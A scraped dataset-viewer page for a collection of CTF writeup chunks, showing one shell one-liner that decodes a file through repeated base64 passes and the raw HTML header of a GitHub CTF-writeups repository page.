Datasets:

justinwangx
/

CTFtime

Dataset card Data Studio Files Files and versions Community

Split (1)

train · 18k rows

text_chunk stringlengths 151 703k
```bash cat cipher.txt \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d \| base64 -d ```
<html lang="en" data-color-mode="auto" data-light-theme="light" data-dark-theme="dark"> <head> <meta charset="utf-8"> <link rel="dns-prefetch" href="https://github.githubassets.com"> <link rel="dns-prefetch" href="https://avatars.githubusercontent.com"> <link rel="dns-prefetch" href="https://github-cloud.s3.amazonaws.com"> <link rel="dns-prefetch" href="https://user-images.githubusercontent.com/"> <link rel="preconnect" href="https://github.githubassets.com" crossorigin> <link rel="preconnect" href="https://avatars.githubusercontent.com"> <link crossorigin="anonymous" media="all" integrity="sha512-L06pZD/4Yecj8D8pY5aYfA7oKG6CI8/hlx2K9ZlXOS/j5TnYEjrusaVa9ZIb9O3/tBHmnRFLzaC1ixcafWtaAg==" rel="stylesheet" href="https://github.githubassets.com/assets/light-2f4ea9643ff861e723f03f296396987c.css" /><link crossorigin="anonymous" media="all" integrity="sha512-xcx3R1NmKjgOAE2DsCHYbus068pwqr4i3Xaa1osduISrxqYFi3zIaBLqjzt5FM9VSHqFN7mneFXK73Z9a2QRJg==" rel="stylesheet" href="https://github.githubassets.com/assets/dark-c5cc774753662a380e004d83b021d86e.css" /><link data-color-theme="dark_dimmed" crossorigin="anonymous" media="all" integrity="sha512-xlDV9el7Cjd+KTSbwspx+c8its28uxn++hLZ9pqYYo1zOVcpLPlElTo42iA/8gV3xYfLvgqRZ3dQPxHCu4UaOQ==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_dimmed-c650d5f5e97b0a377e29349bc2ca71f9.css" /><link data-color-theme="dark_high_contrast" crossorigin="anonymous" media="all" integrity="sha512-jkzjbgytRSAyC4EMcrdpez+aJ2CROSpfemvgO2TImxO6XgWWHNG2qSr2htlD1SL78zfuPXb+iXaVTS5jocG0DA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_high_contrast-8e4ce36e0cad4520320b810c72b7697b.css" /><link data-color-theme="dark_colorblind" crossorigin="anonymous" media="all" integrity="sha512-FzS8HhJ7XSHmx/dBll4FYlvu+8eivvb7jnttZy9KM5plsMkgbEghYKJszrFFauqQvv7ezYdbk7v/d8UtdjG9rw==" rel="stylesheet" data-href="https://github.githubassets.com/assets/dark_colorblind-1734bc1e127b5d21e6c7f741965e0562.css" /><link data-color-theme="light_colorblind" crossorigin="anonymous" media="all" integrity="sha512-IpkvxndMpMcO4paMJl83lYTcy18jv2jqG7mHZnTfr9HRV09iMhuQ/HrE+4mQO2nshL7ZLejO1OiVNDQkyVFOCA==" rel="stylesheet" data-href="https://github.githubassets.com/assets/light_colorblind-22992fc6774ca4c70ee2968c265f3795.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-4hzfg/znP4UxIOUt/r3SNYEZ6jBPJIS6PH4VC26tE0Nd4xAymMC3KXDaC9YITfG4fhyfxuB1YnDHo1H2iUwsfg==" rel="stylesheet" href="https://github.githubassets.com/assets/frameworks-e21cdf83fce73f853120e52dfebdd235.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-sT0AyFLl78shyaRWRXOw8uwRSnR+7tURIXoJwVYadATkrqeWfze5y/tOu8MS1mbzUKl6pgLjfEdT+U8bwBJHfQ==" rel="stylesheet" href="https://github.githubassets.com/assets/behaviors-b13d00c852e5efcb21c9a4564573b0f2.css" /> <link crossorigin="anonymous" media="all" integrity="sha512-jdtbQr5ZSKZqID/c80i87Ml+YyEhYVd5sF9szeR+Xuvbfhi4yLJbEsSllzk0XRzcbWqD4tDtshhRo5IuJx4Mzw==" rel="stylesheet" href="https://github.githubassets.com/assets/github-8ddb5b42be5948a66a203fdcf348bcec.css" /> <script crossorigin="anonymous" defer="defer" integrity="sha512-/0zs/So9AxtDONKx324yW8s62PoPMx4Epxmk1aJmMgIYIKUkQg4YqlZQ06B4j0tSXQcUB8/zWiIkhLtVEozU/w==" type="application/javascript" src="https://github.githubassets.com/assets/environment-ff4cecfd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-8p4kkx6e3xBq1g3NP0O3/AW/aiTQ+VRxYencIeMD8crx7AEwrOTV+XOL/UE8cw4vEvkoU/zzLEZ9cud0jFfI4w==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-frameworks-f29e2493.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-slE3Aa2Duzwgju0UbTfes+w5slmaEOhXwom+Ev+pPsxxOpeh2CGZqfriJGr6pkhTZX+ffOTTYl3GnSLtp7AkJw==" type="application/javascript" src="https://github.githubassets.com/assets/chunk-vendor-b2513701.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ZDU7IsI6lFo4eeBuqkrh/Htsa12ZYOi44uBhKqG0LyV6XHM502iJjjsIVnmtmNXrrC9oGMf2O5i57Bx4lwGsXw==" type="application/javascript" src="https://github.githubassets.com/assets/behaviors-64353b22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-ODZJzCJpaOfusrIka5QVZQcPiO9LBGyrrMYjhhJWSLuCN5WbZ5xiEiiOPOKVu71dqygyRdB2TY7AKPA1J5hqdg==" type="application/javascript" data-module-id="./chunk-unveil.js" data-src="https://github.githubassets.com/assets/chunk-unveil-383649cc.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-emPgUbSwW9ezLCgRnTE7n4fbbfc/MqEEDHmnkmG61dTyjWKHTYKN4wN3OPS7SY0fwmSJ8mB5+gng2nZw4/HsUg==" type="application/javascript" data-module-id="./chunk-animate-on-scroll.js" data-src="https://github.githubassets.com/assets/chunk-animate-on-scroll-7a63e051.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-pWX6rMbTl/ERAhhtbAyXiJzoXFr91jp/mRy2Xk4OpAId3aVFI2X+yI8X3mhbf985F5BRHamuRx20kG62nRtSLQ==" type="application/javascript" data-module-id="./chunk-ref-selector.js" data-src="https://github.githubassets.com/assets/chunk-ref-selector-a565faac.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GKiNgfnSOtC7SUFIvLZMYoteE7iKDONxzaeovKiziJczuW1P4KMU1KhXeoTv4WEN0ufeXC9ejA8HvgYa+xPAAQ==" type="application/javascript" data-module-id="./chunk-filter-input.js" data-src="https://github.githubassets.com/assets/chunk-filter-input-18a88d81.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HRWFwpj3BLrXflQCvPbnuXPFjpnti5TtcqJqUx/b6klMyuskNlUBIo+1UT0KVHFdEW/Y9QKjmXlZxhP6z1j5pg==" type="application/javascript" data-module-id="./chunk-edit.js" data-src="https://github.githubassets.com/assets/chunk-edit-1d1585c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GhqHDMwaAgqUsjVyltYVhaaLYy2G887rPRXXNbsdaI+Xm3dh0fbaHLhZns70EjFAEpXBgCAYFYdnlG1IQFmz1A==" type="application/javascript" data-module-id="./chunk-responsive-underlinenav.js" data-src="https://github.githubassets.com/assets/chunk-responsive-underlinenav-1a1a870c.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-gmw7obKL/JEHWPp6zWFh+ynbXUFOidj1DN2aPiTDwP8Gair0moVuDmA340LD84A29I3ZPak19CEiumG+oIiseg==" type="application/javascript" data-module-id="./chunk-tag-input.js" data-src="https://github.githubassets.com/assets/chunk-tag-input-826c3ba1.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ao9llFIlj54ApuKf2QLboXukbu2h7MHfMmtYHrrsVe1lprKNLiA0usVcRpvruKhfT5STDuWm/GGmyx8ox27hWQ==" type="application/javascript" data-module-id="./chunk-notification-list-focus.js" data-src="https://github.githubassets.com/assets/chunk-notification-list-focus-028f6594.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SPWd3rzrxmU6xW6vy1JPWCd+3uWFWmnd0MVGpmw/TpHWUAdLWDqL8kWyC/sBIZJmda4mTtUO1DHJQzAXRSrC+g==" type="application/javascript" data-module-id="./chunk-cookies.js" data-src="https://github.githubassets.com/assets/chunk-cookies-48f59dde.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MK53GXbb2BPV+ADlEbJbkrvg34WPcAd5RC2nBJhUH1tR/Mjr9xrsf56ptBajfWcIWKRKbqqRtLktgr0wAbB3zw==" type="application/javascript" data-module-id="./chunk-async-export.js" data-src="https://github.githubassets.com/assets/chunk-async-export-30ae7719.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-tw9SApiMkftVBYeb6/VGhEwGNw8tlyBhXc9RVXH4UbCD6u+48uuCMvXf3bxvBdOld0OoYg83SnD2mgJWhdaTiQ==" type="application/javascript" data-module-id="./chunk-premium-runners.js" data-src="https://github.githubassets.com/assets/chunk-premium-runners-b70f5202.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D576CjzS9sbDqFBJdq0Y6+KVMHXkO6mLFO/GRL1NtoE8jgXjAvmdjoZ4nNMWyDwqbtBHspvupORzE9L+YoBLYQ==" type="application/javascript" data-module-id="./chunk-get-repo-element.js" data-src="https://github.githubassets.com/assets/chunk-get-repo-element-0f9efa0a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xhSAO0KtnFAlRqAK+mg8BPj/J334ccvnCmmjmBQBCgZcsoO9teHJSS6oAn3XOWYFsWPU2JehwG7S3OVEbLwdUg==" type="application/javascript" data-module-id="./chunk-color-modes.js" data-src="https://github.githubassets.com/assets/chunk-color-modes-c614803b.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-jitxouuFY6SUcDZV5W3jhadVEIfFBfCQZxfPV3kxNnsWEBzbxMJFp0ccLb7+OlBjSs1zU/MNtuOV6T9Ay7lx4w==" type="application/javascript" data-module-id="./chunk-copy.js" data-src="https://github.githubassets.com/assets/chunk-copy-8e2b71a2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Auj2atZZccqguPinFmOL2k1TCzZs/yfMMFF5aMYMB/5miqEN7v4oAFG0o3Np24NOTkJ9o/txZCeuT6NGHgGoUA==" type="application/javascript" data-module-id="./chunk-voting.js" data-src="https://github.githubassets.com/assets/chunk-voting-02e8f66a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-HDsLJf6gAN+WDFaJneJwmIY82XkZKWqeX7tStBLRh1XM53K8vMV6JZvjq/UQXszaNVWxWcuYtgYTG6ZWo8+QSw==" type="application/javascript" data-module-id="./chunk-confetti.js" data-src="https://github.githubassets.com/assets/chunk-confetti-1c3b0b25.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-zEirtMGIgj3NVAnB8kWhDykK5NLa7q4ugkIxB7EftbovRjhU3X5I/20Rploa4KGPwAR27e36rAljHIsDKbTm/Q==" type="application/javascript" data-module-id="./chunk-codemirror.js" data-src="https://github.githubassets.com/assets/chunk-codemirror-cc48abb4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Gr3ZcJt5t73JeBM3NwOEziKyDZ3HpHwzqZL/c1pgTUfo+6QC5f88XXRw/RT6X2diwqvaa3OVFh0oWsZ9ZxhtdQ==" type="application/javascript" data-module-id="./chunk-tip.js" data-src="https://github.githubassets.com/assets/chunk-tip-1abdd970.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EdQvlnI4Pu5Q6K0HCvp+mi0Vw9ZuwaEuhbnCbmFKX+c0xwiUWY0L3n9P0F6doLhaHhfpvW3718+miL11WG4BeA==" type="application/javascript" data-module-id="./chunk-line.js" data-src="https://github.githubassets.com/assets/chunk-line-11d42f96.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4zSHP2sQXPKoN9jFy8q2ThHsQNej8s4qhubSR4g0/2dTexAEnoTG+RbaffdIhmjfghGjpS/DlE0cdSTFEOcipQ==" type="application/javascript" data-module-id="./chunk-array.js" data-src="https://github.githubassets.com/assets/chunk-array-e334873f.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-g8fb6U7h9SkWgiK69nfNMn4aN5D2YBYPZUbCIuLpemWoOw8NOaZY8Z0hPq4RUVs4+bYdCFR6K719k8lwFeUijg==" type="application/javascript" data-module-id="./chunk-band.js" data-src="https://github.githubassets.com/assets/chunk-band-83c7dbe9.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6oWCu7ltWLHlroIRg8mR6RloC1wqKS9aK9e5THWgzaE2GNPAdoC+MLZEYD/TdIiZxsQRev0RInyonsXGBK0aMw==" type="application/javascript" data-module-id="./chunk-toast.js" data-src="https://github.githubassets.com/assets/chunk-toast-ea8582bb.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-miaiZ1xkDsWBUsURHOmeYtbgVKQGnm1octCo/lDXUmPzDyjtubnHULRVw1AK+sttwdwyB0+LOyhIVAWCNSGx+A==" type="application/javascript" data-module-id="./chunk-delayed-loading-element.js" data-src="https://github.githubassets.com/assets/chunk-delayed-loading-element-9a26a267.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GD25CNhMGDMzEmeFhUT0FILBupAkx5/CHohnYXOP1togy40O0iu/lASaSp3gV8ue0nwscalJVQqR5gKDRHHDVg==" type="application/javascript" data-module-id="./chunk-three.module.js" data-src="https://github.githubassets.com/assets/chunk-three.module-183db908.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4vVRplWFI7P4m3RHQ0QAhkq6eZUdtIE8PBhsKYJRwDkhQw9iK/U1st1/fM1tQZFuBFwGMyqaZblbWtQ+2ejcqQ==" type="application/javascript" data-module-id="./chunk-slug.js" data-src="https://github.githubassets.com/assets/chunk-slug-e2f551a6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-Ofk7ddnMsJ6F9d2vCuPQav+FG9Rg8i6WRG2KmbzwT01S9H4y58Fl42zYxDh/lJjOWeSyOB9KJyfIkdpCCTYG9A==" type="application/javascript" data-module-id="./chunk-invitations.js" data-src="https://github.githubassets.com/assets/chunk-invitations-39f93b75.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-vFR+IqThljOLrAWmjhOL/kiQrjgZZg95uPovX0J7kRH5p7Y049LDRZaXLMDijfeqqk71d3MMn9XP5bUcH+lB9w==" type="application/javascript" data-module-id="./chunk-profile.js" data-src="https://github.githubassets.com/assets/chunk-profile-bc547e22.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-FeRujRzXPfs03roBR3mnHvWukfFpu27XbyZPQri9jcCY0AdUWSM5R4drHTJUDQ62Pz/aX0rSS5xORvTu7NsjlQ==" type="application/javascript" data-module-id="./chunk-overview.js" data-src="https://github.githubassets.com/assets/chunk-overview-15e46e8d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xqw233932eUGcGURAPuwUWZpC5Km/9Btq7/2Jnkt1rSWnPSVfMl+JKpr9eLtCoQmrpgP8vaghEuX8bWAS8fzTg==" type="application/javascript" data-module-id="./chunk-advanced.js" data-src="https://github.githubassets.com/assets/chunk-advanced-c6ac36df.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6Rmd0BBAsJ9ouvb/pgrkToMPs5ogcqi8rcQ7R3GDPPHIjlu0NZ0Bx6HUn/aOruMCECETHm4Exfs5gjYdHs66RQ==" type="application/javascript" data-module-id="./chunk-runner-groups.js" data-src="https://github.githubassets.com/assets/chunk-runner-groups-e9199dd0.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-xdGx4qSd2qa0c/AVc4wDqpBhFHasDjOZ5y+MbwuIRA+ar7YxAFhZ2pGFs/+W5hVjSv+BMfKrcWpgLwR3xPIWHA==" type="application/javascript" data-module-id="./chunk-profile-pins-element.js" data-src="https://github.githubassets.com/assets/chunk-profile-pins-element-c5d1b1e2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-LrD2kFGlUY4JxKVeN3dgYfuhfq0akTPGHtqW0gxkM2sDqVY6pauK2k57tmMHw4TQdcUrs+RQnBc1HPD+ou+ZfQ==" type="application/javascript" data-module-id="./chunk-emoji-picker-element.js" data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups · GitHub</title> <meta name="description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta name="twitter:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/11b432c31fd38e6292cb019adb8a669a4a234973e1aec5aac51d05ba8cdd8d18/ivanchubb/CTF-Writeups" /><meta property="og:image:alt" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/2021/dCTF at main · ivanchubb/CTF-Writeups" /><meta property="og:url" content="https://github.com/ivanchubb/CTF-Writeups" /><meta property="og:description" content="Contribute to ivanchubb/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B781:8912:1C55D04:1DAD005:61830718" data-pjax-transient="true"/><meta name="html-safe-nonce" content="7ebeb5cdfff6e57c817dd3182c193f00b61b84ae9f4b9801522950f723f9cefc" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNzgxOjg5MTI6MUM1NUQwNDoxREFEMDA1OjYxODMwNzE4IiwidmlzaXRvcl9pZCI6IjUzOTU3MzQ3NTY2Njk0NTgyMDAiLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="23f33c7a6a8d7c1019da8eb84392e0d48abf47b597e10aaa57743999ee1d0f08" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:368004552" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta 